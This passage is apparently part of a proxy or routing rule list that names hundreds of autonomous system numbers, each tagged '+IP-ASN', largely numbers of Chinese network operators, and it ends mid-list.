58851 +IP-ASN, 144790 +IP-ASN, 144795 +IP-ASN, 143463 +IP-ASN, 144796 +IP-ASN, 143462 +IP-ASN, 144797 +IP-ASN, 143461 +IP-ASN, 144798 +IP-ASN, 143460 +IP-ASN, 144791 +IP-ASN, 143467 +IP-ASN, 144792 +IP-ASN, 143466 +IP-ASN, 144793 +IP-ASN, 143465 +IP-ASN, 144794 +IP-ASN, 143464 +IP-ASN, 143469 +IP-ASN, 143468 +IP-ASN, 144799 +IP-ASN, 199068 +IP-ASN, 131486 +IP-ASN, 58862 +IP-ASN, 131484 +IP-ASN, 49904 +IP-ASN, 210815 +IP-ASN, 144784 +IP-ASN, 143452 +IP-ASN, 144785 +IP-ASN, 143451 +IP-ASN, 144786 +IP-ASN, 143450 +IP-ASN, 144787 +IP-ASN, 144780 +IP-ASN, 143456 +IP-ASN, 144781 +IP-ASN, 143455 +IP-ASN, 144782 +IP-ASN, 143454 +IP-ASN, 144783 +IP-ASN, 143453 +IP-ASN, 143459 +IP-ASN, 143458 +IP-ASN, 58859 +IP-ASN, 143457 +IP-ASN, 58852 +IP-ASN, 144788 +IP-ASN, 144789 +IP-ASN, 58854 +IP-ASN, 146550 +IP-ASN, 146556 +IP-ASN, 145224 +IP-ASN, 146555 +IP-ASN, 145225 +IP-ASN, 146558 +IP-ASN, 145226 +IP-ASN, 146557 +IP-ASN, 145227 +IP-ASN, 146552 +IP-ASN, 145220 +IP-ASN, 146551 +IP-ASN, 145221 +IP-ASN, 146554 +IP-ASN, 145222 +IP-ASN, 146553 +IP-ASN, 145223 +IP-ASN, 145228 +IP-ASN, 146559 +IP-ASN, 145229 +IP-ASN, 58866 +IP-ASN, 134578 +IP-ASN, 146545 +IP-ASN, 145213 +IP-ASN, 146544 +IP-ASN, 145214 +IP-ASN, 146547 +IP-ASN, 145215 +IP-ASN, 146546 +IP-ASN, 145216 +IP-ASN, 146541 +IP-ASN, 146540 +IP-ASN, 145210 +IP-ASN, 146543 +IP-ASN, 145211 +IP-ASN, 146542 +IP-ASN, 145212 +IP-ASN, 58879 +IP-ASN, 146549 +IP-ASN, 145217 +IP-ASN, 146548 +IP-ASN, 145218 +IP-ASN, 145219 +IP-ASN, 213069 +IP-ASN, 134543 +IP-ASN, 134542 +IP-ASN, 45576 +IP-ASN, 133219 +IP-ASN, 146534 +IP-ASN, 145202 +IP-ASN, 146533 +IP-ASN, 145203 +IP-ASN, 146536 +IP-ASN, 145204 +IP-ASN, 146535 +IP-ASN, 145205 +IP-ASN, 50922 +IP-ASN, 146530 +IP-ASN, 146532 +IP-ASN, 145200 +IP-ASN, 146531 +IP-ASN, 145201 +IP-ASN, 146538 +IP-ASN, 145206 +IP-ASN, 146537 +IP-ASN, 145207 +IP-ASN, 145208 +IP-ASN, 146539 +IP-ASN, 145209 +IP-ASN, 135883 +IP-ASN, 143492 +IP-ASN, 143491 +IP-ASN, 143490 +IP-ASN, 146523 +IP-ASN, 143496 +IP-ASN, 146522 +IP-ASN, 143495 +IP-ASN, 142164 +IP-ASN, 146525 +IP-ASN, 143494 +IP-ASN, 146524 +IP-ASN, 143493 +IP-ASN, 143499 +IP-ASN, 146521 +IP-ASN, 143498 +IP-ASN, 146520 +IP-ASN, 143497 +IP-ASN, 146527 +IP-ASN, 146526 +IP-ASN, 146529 +IP-ASN, 146528 +IP-ASN, 138169 +IP-ASN, 131536 +IP-ASN, 144850 +IP-ASN, 140492 +IP-ASN, 144851 +IP-ASN, 140493 +IP-ASN, 144852 +IP-ASN, 140490 +IP-ASN, 144853 +IP-ASN, 140491 +IP-ASN, 143522 +IP-ASN, 140496 +IP-ASN, 143521 +IP-ASN, 140497 +IP-ASN, 143520 +IP-ASN, 140494 +IP-ASN, 140495 +IP-ASN, 144858 +IP-ASN, 143526 +IP-ASN, 144859 +IP-ASN, 143525 +IP-ASN, 143524 +IP-ASN, 140498 +IP-ASN, 138166 +IP-ASN, 143523 +IP-ASN, 144854 +IP-ASN, 144855 +IP-ASN, 143529 +IP-ASN, 144856 +IP-ASN, 143528 +IP-ASN, 144857 +IP-ASN, 143527 +IP-ASN, 131541 +IP-ASN, 131542 +IP-ASN, 143509 +IP-ASN, 144840 +IP-ASN, 144841 +IP-ASN, 144842 +IP-ASN, 140485 +IP-ASN, 143511 +IP-ASN, 143510 +IP-ASN, 140486 +IP-ASN, 140483 +IP-ASN, 140484 +IP-ASN, 144847 +IP-ASN, 143515 +IP-ASN, 140489 +IP-ASN, 17442 +IP-ASN, 144848 +IP-ASN, 143514 +IP-ASN, 144849 +IP-ASN, 143513 +IP-ASN, 140487 +IP-ASN, 143512 +IP-ASN, 140488 +IP-ASN, 144843 +IP-ASN, 143519 +IP-ASN, 144844 +IP-ASN, 143518 +IP-ASN, 144845 +IP-ASN, 143517 +IP-ASN, 144846 +IP-ASN, 143516 +IP-ASN, 17429 +IP-ASN, 17428 +IP-ASN, 144829 +IP-ASN, 131516 +IP-ASN, 144830 +IP-ASN, 144831 +IP-ASN, 143500 +IP-ASN, 144836 +IP-ASN, 143504 +IP-ASN, 144837 +IP-ASN, 143503 +IP-ASN, 17430 +IP-ASN, 144838 +IP-ASN, 143502 +IP-ASN, 144839 +IP-ASN, 143501 +IP-ASN, 144832 +IP-ASN, 143508 +IP-ASN, 144833 +IP-ASN, 143507 +IP-ASN, 144834 +IP-ASN, 143506 +IP-ASN, 144835 +IP-ASN, 143505 +IP-ASN, 131521 +IP-ASN, 144818 +IP-ASN, 144819 +IP-ASN, 131526 +IP-ASN, 131522 +IP-ASN, 131524 +IP-ASN, 144820 +IP-ASN, 131519 +IP-ASN, 144825 +IP-ASN, 144826 +IP-ASN, 144827 +IP-ASN, 144828 +IP-ASN, 144821 +IP-ASN, 144822 +IP-ASN, 144823 +IP-ASN, 144824 +IP-ASN, 131574 +IP-ASN, 151187 +IP-ASN, 131577 +IP-ASN, 131578 +IP-ASN, 144894 +IP-ASN, 143562 +IP-ASN, 144895 +IP-ASN, 143561 +IP-ASN, 144896 +IP-ASN, 143560 +IP-ASN, 144897 +IP-ASN, 144890 +IP-ASN, 143566 +IP-ASN, 144891 +IP-ASN, 143565 +IP-ASN, 144892 +IP-ASN, 143564 +IP-ASN, 144893 +IP-ASN, 143563 +IP-ASN, 143569 +IP-ASN, 143568 +IP-ASN, 143567 +IP-ASN, 144898 +IP-ASN, 144899 +IP-ASN, 216056 +IP-ASN, 144883 +IP-ASN, 143551 +IP-ASN, 144884 +IP-ASN, 143550 +IP-ASN, 144885 +IP-ASN, 144886 +IP-ASN, 143555 +IP-ASN, 144880 +IP-ASN, 143554 +IP-ASN, 144881 +IP-ASN, 143553 +IP-ASN, 144882 +IP-ASN, 143552 +IP-ASN, 143559 +IP-ASN, 143558 +IP-ASN, 143557 +IP-ASN, 143556 +IP-ASN, 144887 +IP-ASN, 144888 +IP-ASN, 144889 +IP-ASN, 131558 +IP-ASN, 144872 +IP-ASN, 143540 +IP-ASN, 138182 +IP-ASN, 144873 +IP-ASN, 144874 +IP-ASN, 144875 +IP-ASN, 143544 +IP-ASN, 143543 +IP-ASN, 144870 +IP-ASN, 143542 +IP-ASN, 144871 +IP-ASN, 143541 +IP-ASN, 143548 +IP-ASN, 143547 +IP-ASN, 143546 +IP-ASN, 143545 +IP-ASN, 144876 +IP-ASN, 144877 +IP-ASN, 144878 +IP-ASN, 144879 +IP-ASN, 143549 +IP-ASN, 131562 +IP-ASN, 131565 +IP-ASN, 131567 +IP-ASN, 144861 +IP-ASN, 144862 +IP-ASN, 144863 +IP-ASN, 144864 +IP-ASN, 143533 +IP-ASN, 143532 +IP-ASN, 143531 +IP-ASN, 144860 +IP-ASN, 143530 +IP-ASN, 55786 +IP-ASN, 144869 +IP-ASN, 143537 +IP-ASN, 143536 +IP-ASN, 143535 +IP-ASN, 143534 +IP-ASN, 144865 +IP-ASN, 144866 +IP-ASN, 144867 +IP-ASN, 143539 +IP-ASN, 58811 +IP-ASN, 144868 +IP-ASN, 143538 +IP-ASN, 141739 +IP-ASN, 200592 +IP-ASN, 135054 +IP-ASN, 147038 +IP-ASN, 135061 +IP-ASN, 38323 +IP-ASN, 137699 +IP-ASN, 137698 +IP-ASN, 137697 +IP-ASN, 59265 +IP-ASN, 41979 +IP-ASN, 137695 +IP-ASN, 137694 +IP-ASN, 137693 +IP-ASN, 137692 +IP-ASN, 137691 +IP-ASN, 137690 +IP-ASN, 38336 +IP-ASN, 38340 +IP-ASN, 38341 +IP-ASN, 38345 +IP-ASN, 144807 +IP-ASN, 144808 +IP-ASN, 200558 +IP-ASN, 144809 +IP-ASN, 17490 +IP-ASN, 144814 +IP-ASN, 144815 +IP-ASN, 144816 +IP-ASN, 144817 +IP-ASN, 38355 +IP-ASN, 144810 +IP-ASN, 144811 +IP-ASN, 38357 +IP-ASN, 144812 +IP-ASN, 38358 +IP-ASN, 144813 +IP-ASN, 131506 +IP-ASN, 132833 +IP-ASN, 139462 +IP-ASN, 141771 +IP-ASN, 141776 +IP-ASN, 144803 +IP-ASN, 38363 +IP-ASN, 144804 +IP-ASN, 38364 +IP-ASN, 144805 +IP-ASN, 38365 +IP-ASN, 144806 +IP-ASN, 38367 +IP-ASN, 144800 +IP-ASN, 212532 +IP-ASN, 144801 +IP-ASN, 144802 +IP-ASN, 200536 +IP-ASN, 38370 +IP-ASN, 38371 +IP-ASN, 38372 +IP-ASN, 38375 +IP-ASN, 38378 +IP-ASN, 38379 +IP-ASN, 135089 +IP-ASN, 200545 +IP-ASN, 38380 +IP-ASN, 199932 +IP-ASN, 38381 +IP-ASN, 134488 +IP-ASN, 146471 +IP-ASN, 146470 +IP-ASN, 145140 +IP-ASN, 146473 +IP-ASN, 145141 +IP-ASN, 146472 +IP-ASN, 145142 +IP-ASN, 202256 +IP-ASN, 151823 +IP-ASN, 146479 +IP-ASN, 145147 +IP-ASN, 151814 +IP-ASN, 146478 +IP-ASN, 145148 +IP-ASN, 145149 +IP-ASN, 146475 +IP-ASN, 145143 +IP-ASN, 146474 +IP-ASN, 145144 +IP-ASN, 146477 +IP-ASN, 145145 +IP-ASN, 146476 +IP-ASN, 145146 +IP-ASN, 146460 +IP-ASN, 146462 +IP-ASN, 145130 +IP-ASN, 146461 +IP-ASN, 145131 +IP-ASN, 146468 +IP-ASN, 145136 +IP-ASN, 146467 +IP-ASN, 145137 +IP-ASN, 145138 +IP-ASN, 146469 +IP-ASN, 145139 +IP-ASN, 146464 +IP-ASN, 145132 +IP-ASN, 146463 +IP-ASN, 145133 +IP-ASN, 146466 +IP-ASN, 145134 +IP-ASN, 146465 +IP-ASN, 145135 +IP-ASN, 146451 +IP-ASN, 146450 +IP-ASN, 145120 +IP-ASN, 146457 +IP-ASN, 145125 +IP-ASN, 146456 +IP-ASN, 145126 +IP-ASN, 146459 +IP-ASN, 145127 +IP-ASN, 146458 +IP-ASN, 145128 +IP-ASN, 146453 +IP-ASN, 145121 +IP-ASN, 146452 +IP-ASN, 145122 +IP-ASN, 146455 +IP-ASN, 145123 +IP-ASN, 146454 +IP-ASN, 145124 +IP-ASN, 145129 +IP-ASN, 134477 +IP-ASN, 134478 +IP-ASN, 146440 +IP-ASN, 146446 +IP-ASN, 145114 +IP-ASN, 146445 +IP-ASN, 145115 +IP-ASN, 146448 +IP-ASN, 145116 +IP-ASN, 146447 +IP-ASN, 145117 +IP-ASN, 146442 +IP-ASN, 145110 +IP-ASN, 146441 +IP-ASN, 145111 +IP-ASN, 146444 +IP-ASN, 145112 +IP-ASN, 146443 +IP-ASN, 145113 +IP-ASN, 145118 +IP-ASN, 146449 +IP-ASN, 145119 +IP-ASN, 142907 +IP-ASN, 142906 +IP-ASN, 142905 +IP-ASN, 142904 +IP-ASN, 142909 +IP-ASN, 142908 +IP-ASN, 145183 +IP-ASN, 145184 +IP-ASN, 145185 +IP-ASN, 145186 +IP-ASN, 145180 +IP-ASN, 145181 +IP-ASN, 145182 +IP-ASN, 145187 +IP-ASN, 145188 +IP-ASN, 145189 +IP-ASN, 133194 +IP-ASN, 142910 +IP-ASN, 142914 +IP-ASN, 142913 +IP-ASN, 142912 +IP-ASN, 142911 +IP-ASN, 136237 +IP-ASN, 145172 +IP-ASN, 145173 +IP-ASN, 145174 +IP-ASN, 145175 +IP-ASN, 145170 +IP-ASN, 145171 +IP-ASN, 145176 +IP-ASN, 145177 +IP-ASN, 145178 +IP-ASN, 145179 +IP-ASN, 142903 +IP-ASN, 142902 +IP-ASN, 142901 +IP-ASN, 142900 +IP-ASN, 136200 +IP-ASN, 146493 +IP-ASN, 145161 +IP-ASN, 146492 +IP-ASN, 145162 +IP-ASN, 146495 +IP-ASN, 145163 +IP-ASN, 151841 +IP-ASN, 146494 +IP-ASN, 145164 +IP-ASN, 146491 +IP-ASN, 137539 +IP-ASN, 146490 +IP-ASN, 145160 +IP-ASN, 145169 +IP-ASN, 146497 +IP-ASN, 145165 +IP-ASN, 146496 +IP-ASN, 145166 +IP-ASN, 146499 +IP-ASN, 145167 +IP-ASN, 146498 +IP-ASN, 145168 +IP-ASN, 211158 +IP-ASN, 146482 +IP-ASN, 145150 +IP-ASN, 146481 +IP-ASN, 145151 +IP-ASN, 146484 +IP-ASN, 145152 +IP-ASN, 146483 +IP-ASN, 145153 +IP-ASN, 146480 +IP-ASN, 145158 +IP-ASN, 146489 +IP-ASN, 145159 +IP-ASN, 146486 +IP-ASN, 145154 +IP-ASN, 146485 +IP-ASN, 145155 +IP-ASN, 146488 +IP-ASN, 145156 +IP-ASN, 215507 +IP-ASN, 146487 +IP-ASN, 145157 +IP-ASN, 215502 +IP-ASN, 144690 +IP-ASN, 144691 +IP-ASN, 143360 +IP-ASN, 144696 +IP-ASN, 143364 +IP-ASN, 144697 +IP-ASN, 143363 +IP-ASN, 144698 +IP-ASN, 143362 +IP-ASN, 144699 +IP-ASN, 143361 +IP-ASN, 144692 +IP-ASN, 143368 +IP-ASN, 144693 +IP-ASN, 143367 +IP-ASN, 144694 +IP-ASN, 143366 +IP-ASN, 144695 +IP-ASN, 143365 +IP-ASN, 143369 +IP-ASN, 134413 +IP-ASN, 134419 +IP-ASN, 144680 +IP-ASN, 134417 +IP-ASN, 144685 +IP-ASN, 143353 +IP-ASN, 144686 +IP-ASN, 143352 +IP-ASN, 144687 +IP-ASN, 143351 +IP-ASN, 144688 +IP-ASN, 143350 +IP-ASN, 144681 +IP-ASN, 143357 +IP-ASN, 144682 +IP-ASN, 143356 +IP-ASN, 210714 +IP-ASN, 144683 +IP-ASN, 143355 +IP-ASN, 144684 +IP-ASN, 143354 +IP-ASN, 143359 +IP-ASN, 143358 +IP-ASN, 144689 +IP-ASN, 144674 +IP-ASN, 143342 +IP-ASN, 144675 +IP-ASN, 143341 +IP-ASN, 144676 +IP-ASN, 143340 +IP-ASN, 144677 +IP-ASN, 144670 +IP-ASN, 143346 +IP-ASN, 144671 +IP-ASN, 143345 +IP-ASN, 144672 +IP-ASN, 143344 +IP-ASN, 144673 +IP-ASN, 143343 +IP-ASN, 143349 +IP-ASN, 143348 +IP-ASN, 143347 +IP-ASN, 144678 +IP-ASN, 144679 +IP-ASN, 132698 +IP-ASN, 145994 +IP-ASN, 144663 +IP-ASN, 143331 +IP-ASN, 145995 +IP-ASN, 144664 +IP-ASN, 143330 +IP-ASN, 145996 +IP-ASN, 144665 +IP-ASN, 145997 +IP-ASN, 144666 +IP-ASN, 145990 +IP-ASN, 143335 +IP-ASN, 145991 +IP-ASN, 144660 +IP-ASN, 143334 +IP-ASN, 145992 +IP-ASN, 144661 +IP-ASN, 143333 +IP-ASN, 145993 +IP-ASN, 144662 +IP-ASN, 143332 +IP-ASN, 143339 +IP-ASN, 143338 +IP-ASN, 143337 +IP-ASN, 143336 +IP-ASN, 145998 +IP-ASN, 144667 +IP-ASN, 145999 +IP-ASN, 144668 +IP-ASN, 144669 +IP-ASN, 133111 +IP-ASN, 133118 +IP-ASN, 133119 +IP-ASN, 146435 +IP-ASN, 145103 +IP-ASN, 146434 +IP-ASN, 145104 +IP-ASN, 146437 +IP-ASN, 145105 +IP-ASN, 146436 +IP-ASN, 145106 +IP-ASN, 146431 +IP-ASN, 146430 +IP-ASN, 145100 +IP-ASN, 146433 +IP-ASN, 145101 +IP-ASN, 146432 +IP-ASN, 145102 +IP-ASN, 146439 +IP-ASN, 145107 +IP-ASN, 146438 +IP-ASN, 145108 +IP-ASN, 145109 +IP-ASN, 143393 +IP-ASN, 143392 +IP-ASN, 143391 +IP-ASN, 24575 +IP-ASN, 143390 +IP-ASN, 146424 +IP-ASN, 143397 +IP-ASN, 146423 +IP-ASN, 143396 +IP-ASN, 146426 +IP-ASN, 143395 +IP-ASN, 146425 +IP-ASN, 143394 +IP-ASN, 146420 +IP-ASN, 146422 +IP-ASN, 143399 +IP-ASN, 146421 +IP-ASN, 143398 +IP-ASN, 146428 +IP-ASN, 146427 +IP-ASN, 146429 +IP-ASN, 58772 +IP-ASN, 134425 +IP-ASN, 134420 +IP-ASN, 143382 +IP-ASN, 143381 +IP-ASN, 143380 +IP-ASN, 146413 +IP-ASN, 143386 +IP-ASN, 146412 +IP-ASN, 143385 +IP-ASN, 146415 +IP-ASN, 143384 +IP-ASN, 146414 +IP-ASN, 143383 +IP-ASN, 143389 +IP-ASN, 146411 +IP-ASN, 143388 +IP-ASN, 146410 +IP-ASN, 143387 +IP-ASN, 146417 +IP-ASN, 146416 +IP-ASN, 146419 +IP-ASN, 146418 +IP-ASN, 143371 +IP-ASN, 143370 +IP-ASN, 146402 +IP-ASN, 143375 +IP-ASN, 146401 +IP-ASN, 143374 +IP-ASN, 146404 +IP-ASN, 143373 +IP-ASN, 146403 +IP-ASN, 143372 +IP-ASN, 24547 +IP-ASN, 143379 +IP-ASN, 142048 +IP-ASN, 143378 +IP-ASN, 146400 +IP-ASN, 143377 +IP-ASN, 143376 +IP-ASN, 146409 +IP-ASN, 146406 +IP-ASN, 146405 +IP-ASN, 58777 +IP-ASN, 146408 +IP-ASN, 146407 +IP-ASN, 140371 +IP-ASN, 144730 +IP-ASN, 140372 +IP-ASN, 144731 +IP-ASN, 144732 +IP-ASN, 140370 +IP-ASN, 143401 +IP-ASN, 140375 +IP-ASN, 143400 +IP-ASN, 140376 +IP-ASN, 38272 +IP-ASN, 140373 +IP-ASN, 140374 +IP-ASN, 144737 +IP-ASN, 143405 +IP-ASN, 144738 +IP-ASN, 143404 +IP-ASN, 144739 +IP-ASN, 143403 +IP-ASN, 140377 +IP-ASN, 143402 +IP-ASN, 140378 +IP-ASN, 144733 +IP-ASN, 143409 +IP-ASN, 144734 +IP-ASN, 143408 +IP-ASN, 144735 +IP-ASN, 143407 +IP-ASN, 144736 +IP-ASN, 143406 +IP-ASN, 144719 +IP-ASN, 140360 +IP-ASN, 140361 +IP-ASN, 144720 +IP-ASN, 144721 +IP-ASN, 140364 +IP-ASN, 140365 +IP-ASN, 38283 +IP-ASN, 141694 +IP-ASN, 144726 +IP-ASN, 140368 +IP-ASN, 144727 +IP-ASN, 140369 +IP-ASN, 144728 +IP-ASN, 140366 +IP-ASN, 144729 +IP-ASN, 140367 +IP-ASN, 144722 +IP-ASN, 144723 +IP-ASN, 144724 +IP-ASN, 144725 +IP-ASN, 138029 +IP-ASN, 144708 +IP-ASN, 144709 +IP-ASN, 140350 +IP-ASN, 144710 +IP-ASN, 140353 +IP-ASN, 140354 +IP-ASN, 140351 +IP-ASN, 140352 +IP-ASN, 144715 +IP-ASN, 140357 +IP-ASN, 144716 +IP-ASN, 140358 +IP-ASN, 144717 +IP-ASN, 140355 +IP-ASN, 144718 +IP-ASN, 140356 +IP-ASN, 144711 +IP-ASN, 144712 +IP-ASN, 144713 +IP-ASN, 140359 +IP-ASN, 211992 +IP-ASN, 144714 +IP-ASN, 152320 +IP-ASN, 209661 +IP-ASN, 144704 +IP-ASN, 140346 +IP-ASN, 144705 +IP-ASN, 140347 +IP-ASN, 144706 +IP-ASN, 140345 +IP-ASN, 144707 +IP-ASN, 211980 +IP-ASN, 144700 +IP-ASN, 144701 +IP-ASN, 141679 +IP-ASN, 144702 +IP-ASN, 140348 +IP-ASN, 144703 +IP-ASN, 140349 +IP-ASN, 209650 +IP-ASN, 144773 +IP-ASN, 143441 +IP-ASN, 144774 +IP-ASN, 143440 +IP-ASN, 144775 +IP-ASN, 144776 +IP-ASN, 143445 +IP-ASN, 144770 +IP-ASN, 143444 +IP-ASN, 144771 +IP-ASN, 143443 +IP-ASN, 142112 +IP-ASN, 142111 +IP-ASN, 144772 +IP-ASN, 143442 +IP-ASN, 143449 +IP-ASN, 143448 +IP-ASN, 143447 +IP-ASN, 143446 +IP-ASN, 144777 +IP-ASN, 144778 +IP-ASN, 144779 +IP-ASN, 209645 +IP-ASN, 144762 +IP-ASN, 143430 +IP-ASN, 144763 +IP-ASN, 144764 +IP-ASN, 144765 +IP-ASN, 143434 +IP-ASN, 143433 +IP-ASN, 144760 +IP-ASN, 143432 +IP-ASN, 144761 +IP-ASN, 143431 +IP-ASN, 143438 +IP-ASN, 143437 +IP-ASN, 55641 +IP-ASN, 143436 +IP-ASN, 143435 +IP-ASN, 144766 +IP-ASN, 144767 +IP-ASN, 144768 +IP-ASN, 144769 +IP-ASN, 143439 +IP-ASN, 144751 +IP-ASN, 144752 +IP-ASN, 144753 +IP-ASN, 144754 +IP-ASN, 143423 +IP-ASN, 143422 +IP-ASN, 143421 +IP-ASN, 144750 +IP-ASN, 143420 +IP-ASN, 144759 +IP-ASN, 143427 +IP-ASN, 143426 +IP-ASN, 143425 +IP-ASN, 143424 +IP-ASN, 144755 +IP-ASN, 144756 +IP-ASN, 144757 +IP-ASN, 143429 +IP-ASN, 144758 +IP-ASN, 143428 +IP-ASN, 144740 +IP-ASN, 144741 +IP-ASN, 144742 +IP-ASN, 144743 +IP-ASN, 143412 +IP-ASN, 143411 +IP-ASN, 143410 +IP-ASN, 144748 +IP-ASN, 143416 +IP-ASN, 144749 +IP-ASN, 143415 +IP-ASN, 143414 +IP-ASN, 143413 +IP-ASN, 144744 +IP-ASN, 144745 +IP-ASN, 143419 +IP-ASN, 144746 +IP-ASN, 143418 +IP-ASN, 144747 +IP-ASN, 143417 +IP-ASN, 9806 +IP-ASN, 9805 +IP-ASN, 142949 +IP-ASN, 9803 +IP-ASN, 142948 +IP-ASN, 9802 +IP-ASN, 9809 +IP-ASN, 9808 +IP-ASN, 9807 +IP-ASN, 198516 +IP-ASN, 142950 +IP-ASN, 142954 +IP-ASN, 142953 +IP-ASN, 142952 +IP-ASN, 142951 +IP-ASN, 142958 +IP-ASN, 142957 +IP-ASN, 142956 +IP-ASN, 142955 +IP-ASN, 142939 +IP-ASN, 142938 +IP-ASN, 9814 +IP-ASN, 142937 +IP-ASN, 9812 +IP-ASN, 9811 +IP-ASN, 9810 +IP-ASN, 9818 +IP-ASN, 199832 +IP-ASN, 142943 +IP-ASN, 142942 +IP-ASN, 142941 +IP-ASN, 142940 +IP-ASN, 142947 +IP-ASN, 142946 +IP-ASN, 142945 +IP-ASN, 142944 +IP-ASN, 142929 +IP-ASN, 142928 +IP-ASN, 142927 +IP-ASN, 142926 +IP-ASN, 4134 +IP-ASN, 142932 +IP-ASN, 142931 +IP-ASN, 142930 +IP-ASN, 137571 +IP-ASN, 142936 +IP-ASN, 142935 +IP-ASN, 142934 +IP-ASN, 142933 +IP-ASN, 142918 +IP-ASN, 142917 +IP-ASN, 142916 +IP-ASN, 142915 +IP-ASN, 142919 +IP-ASN, 145194 +IP-ASN, 145195 +IP-ASN, 145196 +IP-ASN, 145197 +IP-ASN, 145190 +IP-ASN, 145191 +IP-ASN, 145192 +IP-ASN, 145193 +IP-ASN, 145198 +IP-ASN, 145199 +IP-ASN, 142921 +IP-ASN, 142920 +IP-ASN, 142925 +IP-ASN, 142924 +IP-ASN, 142923 +IP-ASN, 142922 +IP-ASN, 142990 +IP-ASN, 142994 +IP-ASN, 140331 +IP-ASN, 142993 +IP-ASN, 140332 +IP-ASN, 142992 +IP-ASN, 140330 +IP-ASN, 142991 +IP-ASN, 142998 +IP-ASN, 140335 +IP-ASN, 142997 +IP-ASN, 140336 +IP-ASN, 142996 +IP-ASN, 140333 +IP-ASN, 142995 +IP-ASN, 140334 +IP-ASN, 140337 +IP-ASN, 142999 +IP-ASN, 38238 +IP-ASN, 140319 +IP-ASN, 142983 +IP-ASN, 140320 +IP-ASN, 142982 +IP-ASN, 142981 +IP-ASN, 142980 +IP-ASN, 142987 +IP-ASN, 142986 +IP-ASN, 142985 +IP-ASN, 142984 +IP-ASN, 140328 +IP-ASN, 140329 +IP-ASN, 142989 +IP-ASN, 142988 +IP-ASN, 140308 +IP-ASN, 140309 +IP-ASN, 139317 +IP-ASN, 142972 +IP-ASN, 142971 +IP-ASN, 140310 +IP-ASN, 142970 +IP-ASN, 142976 +IP-ASN, 140313 +IP-ASN, 142975 +IP-ASN, 140314 +IP-ASN, 142974 +IP-ASN, 140311 +IP-ASN, 38255 +IP-ASN, 142973 +IP-ASN, 140312 +IP-ASN, 140317 +IP-ASN, 142979 +IP-ASN, 140318 +IP-ASN, 142978 +IP-ASN, 140315 +IP-ASN, 142977 +IP-ASN, 140316 +IP-ASN, 142959 +IP-ASN, 139328 +IP-ASN, 142961 +IP-ASN, 142960 +IP-ASN, 142965 +IP-ASN, 140302 +IP-ASN, 142964 +IP-ASN, 140303 +IP-ASN, 142963 +IP-ASN, 140300 +IP-ASN, 142962 +IP-ASN, 140301 +IP-ASN, 142969 +IP-ASN, 142968 +IP-ASN, 142967 +IP-ASN, 142966 +IP-ASN, 56013 +IP-ASN, 56012 +IP-ASN, 56011 +IP-ASN, 146350 +IP-ASN, 146352 +IP-ASN, 145020 +IP-ASN, 146351 +IP-ASN, 145021 +IP-ASN, 146358 +IP-ASN, 145026 +IP-ASN, 146357 +IP-ASN, 145027 +IP-ASN, 24413 +IP-ASN, 145028 +IP-ASN, 146359 +IP-ASN, 145029 +IP-ASN, 146354 +IP-ASN, 145022 +IP-ASN, 24416 +IP-ASN, 146353 +IP-ASN, 145023 +IP-ASN, 146356 +IP-ASN, 145024 +IP-ASN, 146355 +IP-ASN, 145025 +IP-ASN, 56006 +IP-ASN, 56005 +IP-ASN, 56004 +IP-ASN, 56003 +IP-ASN, 137402 +IP-ASN, 137401 +IP-ASN, 146341 +IP-ASN, 146340 +IP-ASN, 145010 +IP-ASN, 24400 +IP-ASN, 146347 +IP-ASN, 145015 +IP-ASN, 146346 +IP-ASN, 145016 +IP-ASN, 146349 +IP-ASN, 145017 +IP-ASN, 146348 +IP-ASN, 145018 +IP-ASN, 146343 +IP-ASN, 145011 +IP-ASN, 146342 +IP-ASN, 145012 +IP-ASN, 24406 +IP-ASN, 146345 +IP-ASN, 145013 +IP-ASN, 146344 +IP-ASN, 145014 +IP-ASN, 24409 +IP-ASN, 56015 +IP-ASN, 145019 +IP-ASN, 56019 +IP-ASN, 146330 +IP-ASN, 146336 +IP-ASN, 145004 +IP-ASN, 146335 +IP-ASN, 145005 +IP-ASN, 146338 +IP-ASN, 145006 +IP-ASN, 146337 +IP-ASN, 145007 +IP-ASN, 146332 +IP-ASN, 145000 +IP-ASN, 146331 +IP-ASN, 145001 +IP-ASN, 146334 +IP-ASN, 145002 +IP-ASN, 146333 +IP-ASN, 145003 +IP-ASN, 135671 +IP-ASN, 145008 +IP-ASN, 146339 +IP-ASN, 145009 +IP-ASN, 56042 +IP-ASN, 56041 +IP-ASN, 56040 +IP-ASN, 56046 +IP-ASN, 56044 +IP-ASN, 143290 +IP-ASN, 148981 +IP-ASN, 143294 +IP-ASN, 143293 +IP-ASN, 143292 +IP-ASN, 143291 +IP-ASN, 146325 +IP-ASN, 143298 +IP-ASN, 146324 +IP-ASN, 143297 +IP-ASN, 146327 +IP-ASN, 143296 +IP-ASN, 146326 +IP-ASN, 143295 +IP-ASN, 146321 +IP-ASN, 146320 +IP-ASN, 146323 +IP-ASN, 146322 +IP-ASN, 143299 +IP-ASN, 146329 +IP-ASN, 146328 +IP-ASN, 211051 +IP-ASN, 146394 +IP-ASN, 145062 +IP-ASN, 146393 +IP-ASN, 145063 +IP-ASN, 146396 +IP-ASN, 145064 +IP-ASN, 146395 +IP-ASN, 145065 +IP-ASN, 146390 +IP-ASN, 146392 +IP-ASN, 145060 +IP-ASN, 146391 +IP-ASN, 145061 +IP-ASN, 146398 +IP-ASN, 145066 +IP-ASN, 146397 +IP-ASN, 145067 +IP-ASN, 145068 +IP-ASN, 146399 +IP-ASN, 145069 +IP-ASN, 56048 +IP-ASN, 56047 +IP-ASN, 212371 +IP-ASN, 146383 +IP-ASN, 145051 +IP-ASN, 146382 +IP-ASN, 145052 +IP-ASN, 150400 +IP-ASN, 146385 +IP-ASN, 145053 +IP-ASN, 146384 +IP-ASN, 145054 +IP-ASN, 146381 +IP-ASN, 146380 +IP-ASN, 145050 +IP-ASN, 145059 +IP-ASN, 146387 +IP-ASN, 145055 +IP-ASN, 146386 +IP-ASN, 145056 +IP-ASN, 146389 +IP-ASN, 145057 +IP-ASN, 146388 +IP-ASN, 145058 +IP-ASN, 146372 +IP-ASN, 145040 +IP-ASN, 146371 +IP-ASN, 145041 +IP-ASN, 146374 +IP-ASN, 145042 +IP-ASN, 146373 +IP-ASN, 145043 +IP-ASN, 146370 +IP-ASN, 145048 +IP-ASN, 146379 +IP-ASN, 145049 +IP-ASN, 146376 +IP-ASN, 145044 +IP-ASN, 146375 +IP-ASN, 145045 +IP-ASN, 146378 +IP-ASN, 145046 +IP-ASN, 146377 +IP-ASN, 145047 +IP-ASN, 146361 +IP-ASN, 146360 +IP-ASN, 145030 +IP-ASN, 146363 +IP-ASN, 145031 +IP-ASN, 146362 +IP-ASN, 145032 +IP-ASN, 146369 +IP-ASN, 